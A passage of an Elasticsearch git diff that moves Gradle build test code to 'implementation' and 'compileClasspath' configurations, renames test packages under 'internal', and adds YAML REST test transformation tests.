project.getDependencies().add("compile", dependency); + project.getDependencies().add("implementation", dependency); File licensesDir = getLicensesDir(project); - createFileIn(licensesDir, "groovy-all-LICENSE.txt", PERMISSIVE_LICENSE_TEXT); - createFileIn(licensesDir, "groovy-all-NOTICE.txt", ""); - - task.get().ignoreSha("groovy-all"); + createFileIn(licensesDir, "groovy-LICENSE.txt", PERMISSIVE_LICENSE_TEXT); + createFileIn(licensesDir, "groovy-NOTICE.txt", ""); + + task.get().ignoreSha("groovy"); + task.get().ignoreSha("groovy-ant"); + task.get().ignoreSha("groovy-astbuilder"); + task.get().ignoreSha("groovy-console"); + task.get().ignoreSha("groovy-datetime"); + task.get().ignoreSha("groovy-dateutil"); + task.get().ignoreSha("groovy-groovydoc"); + task.get().ignoreSha("groovy-json"); + task.get().ignoreSha("groovy-nio"); + task.get().ignoreSha("groovy-sql"); + task.get().ignoreSha("groovy-templates"); + task.get().ignoreSha("groovy-test"); + task.get().ignoreSha("groovy-xml"); + task.get().ignoreSha("javaparser-core"); task.get().checkDependencies(); } @@ -299,6 +321,6 @@ public void execute(DependencyLicensesTask dependencyLicensesTask) { } private FileCollection getDependencies(Project project) { - return project.getConfigurations().getByName("compile"); + return project.getConfigurations().getByName("compileClasspath"); } } diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/internal/precommit/FilePermissionsTaskTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/precommit/FilePermissionsTaskTests.java index e3ae93275deaf..c18562eb0ffb1 100644 --- a/buildSrc/src/test/java/org/elasticsearch/gradle/internal/precommit/FilePermissionsTaskTests.java +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/precommit/FilePermissionsTaskTests.java @@ -15,7 +15,7 @@ import com.carrotsearch.randomizedtesting.RandomizedTest; import org.apache.tools.ant.taskdefs.condition.Os; -import org.elasticsearch.gradle.test.GradleUnitTestCase; +import org.elasticsearch.gradle.internal.test.GradleUnitTestCase; import org.elasticsearch.gradle.util.GradleUtils; import org.gradle.api.GradleException; import org.gradle.api.Project; diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/internal/precommit/ForbiddenPatternsTaskTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/precommit/ForbiddenPatternsTaskTests.java index 64cb71dee552f..0fc234536a4db 100644 --- a/buildSrc/src/test/java/org/elasticsearch/gradle/internal/precommit/ForbiddenPatternsTaskTests.java +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/precommit/ForbiddenPatternsTaskTests.java @@ -7,7 +7,7 @@ */ package org.elasticsearch.gradle.internal.precommit; -import org.elasticsearch.gradle.test.GradleUnitTestCase; +import org.elasticsearch.gradle.internal.test.GradleUnitTestCase; import org.elasticsearch.gradle.util.GradleUtils; import org.gradle.api.GradleException; import org.gradle.api.Project; diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/internal/precommit/UpdateShasTaskTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/precommit/UpdateShasTaskTests.java index 2c8fc85f07ae4..46c8a76fe7f06 100644 --- a/buildSrc/src/test/java/org/elasticsearch/gradle/internal/precommit/UpdateShasTaskTests.java +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/precommit/UpdateShasTaskTests.java @@ -8,8 +8,7 @@ package org.elasticsearch.gradle.internal.precommit; import org.apache.commons.io.FileUtils; -import org.elasticsearch.gradle.test.GradleUnitTestCase; -import org.gradle.api.Action; +import org.elasticsearch.gradle.internal.test.GradleUnitTestCase; import org.gradle.api.GradleException; import org.gradle.api.Project; import org.gradle.api.artifacts.Dependency; @@ -62,21 +61,27 @@ public void whenDependencyDoesntExistThenShouldDeleteDependencySha() throws IOEx @Test public void whenDependencyExistsButShaNotThenShouldCreateNewShaFile() throws IOException, NoSuchAlgorithmException { - project.getDependencies().add("compile", dependency); + project.getDependencies().add("implementation", dependency); getLicensesDir(project).mkdir(); task.updateShas(); - - Path groovySha = Files.list(getLicensesDir(project).toPath()).findFirst().get(); - - assertTrue(groovySha.toFile().getName().startsWith("groovy-all")); + Path groovySha = Files.list(getLicensesDir(project).toPath()) + .filter(p -> p.toFile().getName().matches("groovy-\\d\\.\\d\\.\\d\\.jar.sha1")) + .findFirst() + .get(); + assertTrue(groovySha.toFile().getName().startsWith("groovy")); } @Test public void whenDependencyAndWrongShaExistsThenShouldNotOverwriteShaFile() throws IOException, NoSuchAlgorithmException { - project.getDependencies().add("compile", dependency); - - File groovyJar = task.getParentTask().getDependencies().getFiles().iterator().next(); + project.getDependencies().add("implementation", dependency); + File groovyJar = task.getParentTask() + .getDependencies() + .getFiles() + .stream() + .filter(f -> f.getName().matches("groovy-\\d\\.\\d\\.\\d\\.jar")) + .findFirst() + .get(); String groovyShaName = groovyJar.getName() + ".sha1"; File groovySha = createFileIn(getLicensesDir(project), groovyShaName, "content"); @@ -127,18 +132,15 @@ private UpdateShasTask createUpdateShasTask(Project project) { } private TaskProvider createDependencyLicensesTask(Project project) { - TaskProvider task = project.getTasks() - .register("dependencyLicenses", DependencyLicensesTask.class, new Action() { - @Override - public void execute(DependencyLicensesTask dependencyLicensesTask) { - dependencyLicensesTask.setDependencies(getDependencies(project)); - } - }); - - return task; + return project.getTasks() + .register( + "dependencyLicenses", + DependencyLicensesTask.class, + dependencyLicensesTask -> dependencyLicensesTask.setDependencies(getDependencies(project)) + ); } private FileCollection getDependencies(Project project) { - return project.getConfigurations().getByName("compile"); + return project.getConfigurations().getByName("compileClasspath"); } } diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/AssertObjectNodes.java b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/AssertObjectNodes.java new file mode 100644 index 0000000000000..139e99bc85806 --- /dev/null +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/AssertObjectNodes.java @@ -0,0 +1,57 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rest.transform; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.ObjectWriter; +import com.fasterxml.jackson.databind.SequenceWriter; +import com.fasterxml.jackson.databind.node.ObjectNode; +import com.fasterxml.jackson.dataformat.yaml.YAMLFactory; +import org.junit.ComparisonFailure; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.util.List; + +public class AssertObjectNodes { + private static final YAMLFactory YAML_FACTORY = new YAMLFactory(); + private static final ObjectMapper MAPPER = new ObjectMapper(YAML_FACTORY); + private static final ObjectWriter WRITER = MAPPER.writerFor(ObjectNode.class); + + public static void areEqual(List actualTests, List expectedTests) { + for (int i = 0; i < expectedTests.size(); i++) { + ObjectNode expected = expectedTests.get(i); + ObjectNode actual = actualTests.get(i); + if (expected.equals(actual) == false) { + throw new ComparisonFailure( + "The actual transformation is different than expected in _transformed.yml file.", + toString(expectedTests), + toString(actualTests) + ); + } + } + } + + private static String toString(List tests) { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + + try { + SequenceWriter sequenceWriter = WRITER.writeValues(baos); + + for (ObjectNode transformedTest : tests) { + sequenceWriter.write(transformedTest); + } + sequenceWriter.close(); + return baos.toString(); + } catch (IOException e) { + e.printStackTrace(); + return "Exception when serialising a file"; + } + } +} diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/TransformTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/TransformTests.java new file mode 100644 index 0000000000000..c3f13b1a02c4c --- /dev/null +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/TransformTests.java @@ -0,0 +1,356 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rest.transform; + +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.ObjectReader; +import com.fasterxml.jackson.databind.SequenceWriter; +import com.fasterxml.jackson.databind.node.ArrayNode; +import com.fasterxml.jackson.databind.node.ObjectNode; +import com.fasterxml.jackson.databind.node.TextNode; +import com.fasterxml.jackson.dataformat.yaml.YAMLFactory; +import com.fasterxml.jackson.dataformat.yaml.YAMLParser; +import org.elasticsearch.gradle.internal.test.GradleUnitTestCase; +import org.elasticsearch.gradle.internal.test.rest.transform.headers.InjectHeaders; +import org.hamcrest.CoreMatchers; +import org.hamcrest.core.IsCollectionContaining; +import org.junit.Before; + +import java.io.File; +import java.io.IOException; +import java.util.ArrayList; +import java.util.Collections; +import java.util.Iterator; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.concurrent.atomic.AtomicBoolean; +import java.util.concurrent.atomic.LongAdder; +import java.util.stream.Collectors; + +public abstract class TransformTests extends GradleUnitTestCase { + + private static final YAMLFactory YAML_FACTORY = new YAMLFactory(); + private static final ObjectMapper MAPPER = new ObjectMapper(YAML_FACTORY); + private static final ObjectReader READER = MAPPER.readerFor(ObjectNode.class); + + private static final Map headers1 = Map.of("foo", "bar"); + private static final Map headers2 = Map.of("abc", "xyz"); + + RestTestTransformer transformer; + + @Before + public void setup() { + transformer = new RestTestTransformer(); + } + + protected void validateSetupAndTearDown(List transformedTests) { + assertThat(transformedTests.stream().filter(node -> node.get("setup") != null).count(), CoreMatchers.equalTo(1L)); + transformedTests.stream().filter(node -> node.get("setup") != null).forEach(this::assertSetup); + transformedTests.stream().filter(node -> node.get("teardown") != null).forEach(this::assertTeardown); + } + + protected ObjectNode validateSkipNodesExist(List tests) { + List skipNodes = tests.stream() + .filter(node -> node.get("setup") != null) + .filter(node -> getSkipNode((ArrayNode) node.get("setup")) != null) + .map(node -> getSkipNode((ArrayNode) node.get("setup"))) + .collect(Collectors.toList()); + assertThat(skipNodes.size(), CoreMatchers.equalTo(1)); + return skipNodes.get(0); + } + + protected void validateSkipNodesDoesNotExist(List tests) { + List skipNodes = tests.stream() + .filter(node -> node.get("setup") != null) + .filter(node -> getSkipNode((ArrayNode) node.get("setup")) != null) + .map(node -> getSkipNode((ArrayNode) node.get("setup"))) + .collect(Collectors.toList()); + assertThat(skipNodes.size(), CoreMatchers.equalTo(0)); + } + + protected void validatePreExistingFeatureExist(List tests) { + assertThat(validateSkipNodesExist(tests).get("features"), CoreMatchers.notNullValue()); + } + + protected void validateSetupDoesNotExist(List tests) { + assertThat(tests.stream().filter(node -> node.get("setup") != null).count(), CoreMatchers.equalTo(0L)); + } + + protected void validateFeatureNameExists(List tests, String featureName) { + ObjectNode skipNode = validateSkipNodesExist(tests); + JsonNode featureValues = skipNode.get("features"); + assertNotNull(featureValues); + + List features = new ArrayList<>(1); + if (featureValues.isArray()) { + Iterator featuresIt = featureValues.elements(); + while (featuresIt.hasNext()) { + JsonNode feature = featuresIt.next(); + features.add(feature.asText()); + } + } else if (featureValues.isTextual()) { + features.add(featureValues.asText()); + } + + assertThat(features, IsCollectionContaining.hasItem(featureName)); + } + + protected void validateSetupExist(List tests) { + assertThat(tests.stream().filter(node -> node.get("setup") != null).count(), CoreMatchers.equalTo(1L)); + } + + protected List transformTests(List tests) { + return transformTests(tests, getTransformations()); + } + + protected List transformTests(List tests, List> transforms) { + List t = transformer.transformRestTests(new LinkedList<>(tests), transforms); + getKnownFeatures().forEach(name -> { validateFeatureNameExists(t, name); }); + + return t; + } + + protected List getKnownFeatures() { + return Collections.emptyList(); + } + + protected List> getTransformations() { + List> transformations = new ArrayList<>(); + transformations.add(new InjectHeaders(headers1)); + transformations.add(new InjectHeaders(headers2)); + return transformations; + } + + protected List getTests(String relativePath) throws Exception { + File testFile = new File(getClass().getResource(relativePath).toURI()); + YAMLParser yamlParser = YAML_FACTORY.createParser(testFile); + return READER.readValues(yamlParser).readAll(); + } + + protected void assertTeardown(ObjectNode teardownNode) { + assertThat(teardownNode.get("teardown"), CoreMatchers.instanceOf(ArrayNode.class)); + ObjectNode skipNode = getSkipNode((ArrayNode) teardownNode.get("teardown")); + assertSkipNode(skipNode); + } + + protected void assertSetup(ObjectNode setupNode) { + assertThat(setupNode.get("setup"), CoreMatchers.instanceOf(ArrayNode.class)); + ObjectNode skipNode = getSkipNode((ArrayNode) setupNode.get("setup")); + assertSkipNode(skipNode); + } + + protected void assertSkipNode(ObjectNode skipNode) { + assertThat(skipNode, CoreMatchers.notNullValue()); + List featureValues = new ArrayList<>(); + if (skipNode.get("features").isArray()) { + assertThat(skipNode.get("features"), CoreMatchers.instanceOf(ArrayNode.class)); + ArrayNode features = (ArrayNode) skipNode.get("features"); + features.forEach(x -> { + if (x.isTextual()) { + featureValues.add(x.asText()); + } + }); + } else { + featureValues.add(skipNode.get("features").asText()); + } + assertEquals(featureValues.stream().distinct().count(), featureValues.size()); + } + + protected ObjectNode getSkipNode(ArrayNode setupNodeValue) { + Iterator setupIt = setupNodeValue.elements(); + while (setupIt.hasNext()) { + JsonNode arrayEntry = setupIt.next(); + if (arrayEntry.isObject()) { + ObjectNode skipCandidate = (ObjectNode) arrayEntry; + if (skipCandidate.get("skip") != null) { + ObjectNode skipNode = (ObjectNode) skipCandidate.get("skip"); + return skipNode; + } + } + } + return null; + } + + protected void validateBodyHasWarnings(String featureName, List tests, Set expectedWarnings) { + validateBodyHasWarnings(featureName, null, tests, expectedWarnings); + } + + protected void validateBodyHasWarnings(String featureName, String testName, List tests, Set expectedWarnings) { + AtomicBoolean actuallyDidSomething = new AtomicBoolean(false); + tests.forEach(test -> { + Iterator> testsIterator = test.fields(); + while (testsIterator.hasNext()) { + Map.Entry testObject = testsIterator.next(); + assertThat(testObject.getValue(), CoreMatchers.instanceOf(ArrayNode.class)); + if (testName == null || testName.equals(testObject.getKey())) { + ArrayNode testBody = (ArrayNode) testObject.getValue(); + testBody.forEach(arrayObject -> { + assertThat(arrayObject, CoreMatchers.instanceOf(ObjectNode.class)); + ObjectNode testSection = (ObjectNode) arrayObject; + if (testSection.get("do") != null) { + ObjectNode doSection = (ObjectNode) testSection.get("do"); + assertThat(doSection.get(featureName), CoreMatchers.notNullValue()); + ArrayNode warningsNode = (ArrayNode) doSection.get(featureName); + LongAdder assertions = new LongAdder(); + warningsNode.forEach(warning -> { + if (expectedWarnings.contains(warning.asText())) { + assertions.increment(); + } + }); + assertThat(assertions.intValue(), CoreMatchers.equalTo(expectedWarnings.size())); + actuallyDidSomething.set(true); + } + }); + } + } + }); + assertTrue(actuallyDidSomething.get()); + } + + protected void validateBodyHasNoWarnings(String featureName, List tests) { + validateBodyHasNoWarnings(featureName, null, tests); + } + + protected void validateBodyHasNoWarnings(String featureName, String testName, List tests) { + AtomicBoolean actuallyDidSomething = new AtomicBoolean(false); + tests.forEach(test -> { + Iterator> testsIterator = test.fields(); + while (testsIterator.hasNext()) { + Map.Entry testObject = testsIterator.next(); + if (testName == null || testName.equals(testObject.getKey())) { + assertThat(testObject.getValue(), CoreMatchers.instanceOf(ArrayNode.class)); + ArrayNode testBody = (ArrayNode) testObject.getValue(); + testBody.forEach(arrayObject -> { + assertThat(arrayObject, CoreMatchers.instanceOf(ObjectNode.class)); + ObjectNode testSection = (ObjectNode) arrayObject; + if (testSection.get("do") != null) { + ObjectNode doSection = (ObjectNode) testSection.get("do"); + assertThat(doSection.get(featureName), CoreMatchers.nullValue()); + actuallyDidSomething.set(true); + } + }); + } + } + }); + assertTrue(actuallyDidSomething.get()); + } + + protected void validateBodyHasEmptyNoWarnings(String featureName, List tests) { + tests.forEach(test -> { + Iterator> testsIterator = test.fields(); + while (testsIterator.hasNext()) { + Map.Entry testObject = testsIterator.next(); + assertThat(testObject.getValue(), CoreMatchers.instanceOf(ArrayNode.class)); + ArrayNode testBody = (ArrayNode) testObject.getValue(); + testBody.forEach(arrayObject -> { + assertThat(arrayObject, CoreMatchers.instanceOf(ObjectNode.class)); + ObjectNode testSection = (ObjectNode) arrayObject; + if (testSection.get("do") != null) { + ObjectNode doSection = (ObjectNode) testSection.get("do"); + assertThat(doSection.get(featureName), CoreMatchers.notNullValue()); + ArrayNode warningsNode = (ArrayNode) doSection.get(featureName); + assertTrue(warningsNode.isEmpty()); + } + }); + } + }); + } + + protected void validateBodyHasHeaders(List tests, Map expectedHeaders) { + tests.forEach(test -> { + Iterator> testsIterator = test.fields(); + while (testsIterator.hasNext()) { + Map.Entry testObject = testsIterator.next(); + assertThat(testObject.getValue(), CoreMatchers.instanceOf(ArrayNode.class)); + ArrayNode testBody = (ArrayNode) testObject.getValue(); + testBody.forEach(arrayObject -> { + assertThat(arrayObject, CoreMatchers.instanceOf(ObjectNode.class)); + ObjectNode testSection = (ObjectNode) arrayObject; + if (testSection.get("do") != null) { + ObjectNode doSection = (ObjectNode) testSection.get("do"); + assertThat(doSection.get("headers"), CoreMatchers.notNullValue()); + ObjectNode headersNode = (ObjectNode) doSection.get("headers"); + LongAdder assertions = new LongAdder(); + expectedHeaders.forEach((k, v) -> { + assertThat(headersNode.get(k), CoreMatchers.notNullValue()); + TextNode textNode = (TextNode) headersNode.get(k); + assertThat(textNode.asText(), CoreMatchers.equalTo(v)); + assertions.increment(); + }); + assertThat(assertions.intValue(), CoreMatchers.equalTo(expectedHeaders.size())); + } + }); + } + }); + } + + protected void validateSetupAndTearDownForMatchTests(List tests) { + ObjectNode setUp = tests.get(0); + assertThat(setUp.get("setup"), CoreMatchers.notNullValue()); + ObjectNode tearDown = tests.get(1); + assertThat(tearDown.get("teardown"), CoreMatchers.notNullValue()); + ObjectNode firstTest = tests.get(2); + assertThat(firstTest.get("First test"), CoreMatchers.notNullValue()); + ObjectNode lastTest = tests.get(tests.size() - 1); + assertThat(lastTest.get("Last test"), CoreMatchers.notNullValue()); + + // setup + JsonNode setup = setUp.get("setup"); + assertThat(setup, CoreMatchers.instanceOf(ArrayNode.class)); + ArrayNode setupParentArray = (ArrayNode) setup; + + AtomicBoolean setUpHasMatchObject = new AtomicBoolean(false); + setupParentArray.elements().forEachRemaining(node -> { + assertThat(node, CoreMatchers.instanceOf(ObjectNode.class)); + ObjectNode childObject = (ObjectNode) node; + JsonNode matchObject = childObject.get("match"); + if (matchObject != null) { + setUpHasMatchObject.set(true); + } + }); + assertFalse(setUpHasMatchObject.get()); + + // teardown + JsonNode teardown = tearDown.get("teardown"); + assertThat(teardown, CoreMatchers.instanceOf(ArrayNode.class)); + ArrayNode teardownParentArray = (ArrayNode) teardown; + + AtomicBoolean teardownHasMatchObject = new AtomicBoolean(false); + teardownParentArray.elements().forEachRemaining(node -> { + assertThat(node, CoreMatchers.instanceOf(ObjectNode.class)); + ObjectNode childObject = (ObjectNode) node; + JsonNode matchObject = childObject.get("match"); + if (matchObject != null) { + teardownHasMatchObject.set(true); + } + }); + assertFalse(teardownHasMatchObject.get()); + } + + protected boolean getHumanDebug() { + return false; + } + + // only to help manually debug + protected void printTest(String testName, List tests) { + if (getHumanDebug()) { + System.out.println("\n************* " + testName + " *************"); + try (SequenceWriter sequenceWriter = MAPPER.writer().writeValues(System.out)) { + for (ObjectNode transformedTest : tests) { + sequenceWriter.write(transformedTest); + } + } catch (IOException e) { + e.printStackTrace(); + } + } + } +} diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/do_/ReplaceKeyInDoTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/do_/ReplaceKeyInDoTests.java new file mode 100644 index 0000000000000..c11effe4c5a5f --- /dev/null +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/do_/ReplaceKeyInDoTests.java @@ -0,0 +1,37 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rest.transform.do_; + +import com.fasterxml.jackson.databind.node.ObjectNode; +import org.elasticsearch.gradle.internal.test.rest.transform.AssertObjectNodes; +import org.elasticsearch.gradle.internal.test.rest.transform.TransformTests; +import org.junit.Test; + +import java.util.Collections; +import java.util.List; + +public class ReplaceKeyInDoTests extends TransformTests { + + @Test + public void testReplaceKeyInDo() throws Exception { + + String test_original = "/rest/transform/do/replace_key_in_do_original.yml"; + List tests = getTests(test_original); + + String test_transformed = "/rest/transform/do/replace_key_in_do_transformed.yml"; + List expectedTransformation = getTests(test_transformed); + + List transformedTests = transformTests( + tests, + Collections.singletonList(new ReplaceKeyInDo("do.key.to_replace", "do.key.replaced", null)) + ); + + AssertObjectNodes.areEqual(transformedTests, expectedTransformation); + } +} diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/test/rest/transform/feature/InjectFeatureTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/feature/InjectFeatureTests.java similarity index 96% rename from buildSrc/src/test/java/org/elasticsearch/gradle/test/rest/transform/feature/InjectFeatureTests.java rename to buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/feature/InjectFeatureTests.java index 2ce5e5e510866..d643db88774f2 100644 --- a/buildSrc/src/test/java/org/elasticsearch/gradle/test/rest/transform/feature/InjectFeatureTests.java +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/feature/InjectFeatureTests.java @@ -6,10 +6,10 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.test.rest.transform.feature; +package org.elasticsearch.gradle.internal.test.rest.transform.feature; import com.fasterxml.jackson.databind.node.ObjectNode; -import org.elasticsearch.gradle.test.rest.transform.TransformTests; +import org.elasticsearch.gradle.internal.test.rest.transform.TransformTests; import org.junit.Test; import java.util.List; diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/test/rest/transform/header/InjectHeaderTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/header/InjectHeaderTests.java similarity index 88% rename from buildSrc/src/test/java/org/elasticsearch/gradle/test/rest/transform/header/InjectHeaderTests.java rename to buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/header/InjectHeaderTests.java index 7b79a11777337..34d1273a086a2 100644 --- a/buildSrc/src/test/java/org/elasticsearch/gradle/test/rest/transform/header/InjectHeaderTests.java +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/header/InjectHeaderTests.java @@ -6,12 +6,12 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.test.rest.transform.header; +package org.elasticsearch.gradle.internal.test.rest.transform.header; import com.fasterxml.jackson.databind.node.ObjectNode; -import org.elasticsearch.gradle.test.rest.transform.RestTestTransform; -import org.elasticsearch.gradle.test.rest.transform.feature.InjectFeatureTests; -import org.elasticsearch.gradle.test.rest.transform.headers.InjectHeaders; +import org.elasticsearch.gradle.internal.test.rest.transform.RestTestTransform; +import org.elasticsearch.gradle.internal.test.rest.transform.feature.InjectFeatureTests; +import org.elasticsearch.gradle.internal.test.rest.transform.headers.InjectHeaders; import org.junit.Test; import java.util.Collections; diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/length/ReplaceKeyInLengthTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/length/ReplaceKeyInLengthTests.java new file mode 100644 index 0000000000000..b2423051af355 --- /dev/null +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/length/ReplaceKeyInLengthTests.java @@ -0,0 +1,36 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rest.transform.length; + +import com.fasterxml.jackson.databind.node.ObjectNode; +import org.elasticsearch.gradle.internal.test.rest.transform.AssertObjectNodes; +import org.elasticsearch.gradle.internal.test.rest.transform.TransformTests; +import org.junit.Test; + +import java.util.Collections; +import java.util.List; + +public class ReplaceKeyInLengthTests extends TransformTests { + + @Test + public void testLengthKeyChange() throws Exception { + String test_original = "/rest/transform/length/length_replace_original.yml"; + List tests = getTests(test_original); + + String test_transformed = "/rest/transform/length/length_replace_transformed.yml"; + List expectedTransformation = getTests(test_transformed); + + List transformedTests = transformTests( + tests, + Collections.singletonList(new ReplaceKeyInLength("key.in_length_to_replace", "key.in_length_replaced", null)) + ); + + AssertObjectNodes.areEqual(transformedTests, expectedTransformation); + } +} diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/test/rest/transform/match/AddMatchTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/match/AddMatchTests.java similarity index 89% rename from buildSrc/src/test/java/org/elasticsearch/gradle/test/rest/transform/match/AddMatchTests.java rename to buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/match/AddMatchTests.java index 73117ce56eb13..48f7317362e51 100644 --- a/buildSrc/src/test/java/org/elasticsearch/gradle/test/rest/transform/match/AddMatchTests.java +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/match/AddMatchTests.java @@ -6,19 +6,18 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.test.rest.transform.match; +package org.elasticsearch.gradle.internal.test.rest.transform.match; import com.fasterxml.jackson.databind.JsonNode; import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.node.ArrayNode; import com.fasterxml.jackson.databind.node.ObjectNode; import com.fasterxml.jackson.dataformat.yaml.YAMLFactory; -import org.elasticsearch.gradle.test.rest.transform.TransformTests; +import org.elasticsearch.gradle.internal.test.rest.transform.TransformTests; import org.hamcrest.CoreMatchers; import org.junit.Test; import java.util.Collections; -import java.util.LinkedList; import java.util.List; import java.util.concurrent.atomic.AtomicBoolean; @@ -29,26 +28,26 @@ public class AddMatchTests extends TransformTests { @Test public void testAddAllNotSupported() throws Exception { - String testName = "/rest/transform/match/match.yml"; + String testName = "/rest/transform/match/match_original.yml"; List tests = getTests(testName); JsonNode addNode = MAPPER.convertValue("_doc", JsonNode.class); assertEquals( "adding matches is only supported for named tests", expectThrows( NullPointerException.class, - () -> transformTests(new LinkedList<>(tests), Collections.singletonList(new AddMatch("_type", addNode, null))) + () -> transformTests(tests, Collections.singletonList(new AddMatch("_type", addNode, null))) ).getMessage() ); } @Test public void testAddByTest() throws Exception { - String testName = "/rest/transform/match/match.yml"; + String testName = "/rest/transform/match/match_original.yml"; List tests = getTests(testName); JsonNode addNode = MAPPER.convertValue(123456789, JsonNode.class); validateTest(tests, true); List transformedTests = transformTests( - new LinkedList<>(tests), + tests, Collections.singletonList(new AddMatch("my_number", addNode, "Last test")) ); printTest(testName, transformedTests); diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/test/rest/transform/match/RemoveMatchTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/match/RemoveMatchTests.java similarity index 90% rename from buildSrc/src/test/java/org/elasticsearch/gradle/test/rest/transform/match/RemoveMatchTests.java rename to buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/match/RemoveMatchTests.java index 63c1a55338678..2e463a5cdfe54 100644 --- a/buildSrc/src/test/java/org/elasticsearch/gradle/test/rest/transform/match/RemoveMatchTests.java +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/match/RemoveMatchTests.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.test.rest.transform.match; +package org.elasticsearch.gradle.internal.test.rest.transform.match; import com.fasterxml.jackson.databind.JsonNode; import com.fasterxml.jackson.databind.ObjectMapper; @@ -14,12 +14,11 @@ import com.fasterxml.jackson.databind.node.ArrayNode; import com.fasterxml.jackson.databind.node.ObjectNode; import com.fasterxml.jackson.dataformat.yaml.YAMLFactory; -import org.elasticsearch.gradle.test.rest.transform.TransformTests; +import org.elasticsearch.gradle.internal.test.rest.transform.TransformTests; import org.hamcrest.CoreMatchers; import org.junit.Test; import java.util.Collections; -import java.util.LinkedList; import java.util.List; import java.util.concurrent.atomic.AtomicBoolean; @@ -31,23 +30,20 @@ public class RemoveMatchTests extends TransformTests { @Test public void testRemoveAll() throws Exception { - String testName = "/rest/transform/match/match.yml"; + String testName = "/rest/transform/match/match_original.yml"; List tests = getTests(testName); validateTest(tests, true, true); - List transformedTests = transformTests(new LinkedList<>(tests), Collections.singletonList(new RemoveMatch("_type"))); + List transformedTests = transformTests(tests, Collections.singletonList(new RemoveMatch("_type"))); printTest(testName, transformedTests); validateTest(tests, false, true); } @Test public void testRemoveByTest() throws Exception { - String testName = "/rest/transform/match/match.yml"; + String testName = "/rest/transform/match/match_original.yml"; List tests = getTests(testName); validateTest(tests, true, false); - List transformedTests = transformTests( - new LinkedList<>(tests), - Collections.singletonList(new RemoveMatch("_type", "Last test")) - ); + List transformedTests = transformTests(tests, Collections.singletonList(new RemoveMatch("_type", "Last test"))); printTest(testName, transformedTests); validateTest(tests, false, false); diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/match/ReplaceKeyInMatchTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/test/rest/transform/match/ReplaceKeyInMatchTests.java new file mode 100644 index 0000000000000..650b70450d0ca --- /dev/null +++ 